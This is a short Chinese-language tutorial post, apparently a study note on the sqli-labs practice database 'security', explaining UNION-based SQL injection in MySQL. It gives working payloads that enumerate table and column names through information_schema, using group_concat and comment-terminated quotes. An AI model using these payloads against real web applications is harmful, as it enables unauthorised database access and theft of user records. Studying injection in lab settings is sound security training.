union注入

发布时间 2023-08-14 19:29:37作者: 程亦澄

数据库

information_schema    包含所有mysql数据库的简要信息

    ↓  其中包含有两个所需数据表

  tables       columns

表名集合表   列名集合表

 

查找数据库security中的表名

第一步 确定基本查询语句

  字符型(闭合符号)/数字型

  查询语句列数group by

 

第二步 完善查询语句

  1. 输入不存在的数据
  2. 所需要表名信息在数据库information_schema→数据表tables→数据列table_name

id=0' union select 1,2,table_name from information_schema.tables -- -

 使查找的表名更精确可以使用 table_name from information_schema.tables where table_schema= database()

 但是此方法只能显示第一个所以可以使用 group_concat() 来拿到所有的表名

 

 使group_concat() 将table_name 包裹起来  即 group_concat(table_name) from information_schema.tables where table_schema=database() -- -

 根据判断所需要查询的表名应为users

 

查找数据库security中数据表users的列名

所需要信息在数据库information_schema 数据表columns数据列column_name

?id=-1' union select 1,2,column_name from information_schema.columns-- -

过滤在security数据库中数据表user的列名

 

 

 查询最终目标

查询语句 select列名+from表名+where限定符语句

 

 

插入“~”区分数据

 

 

 

 数字型union联合注入

 

 相比字符型少一步查询闭合方式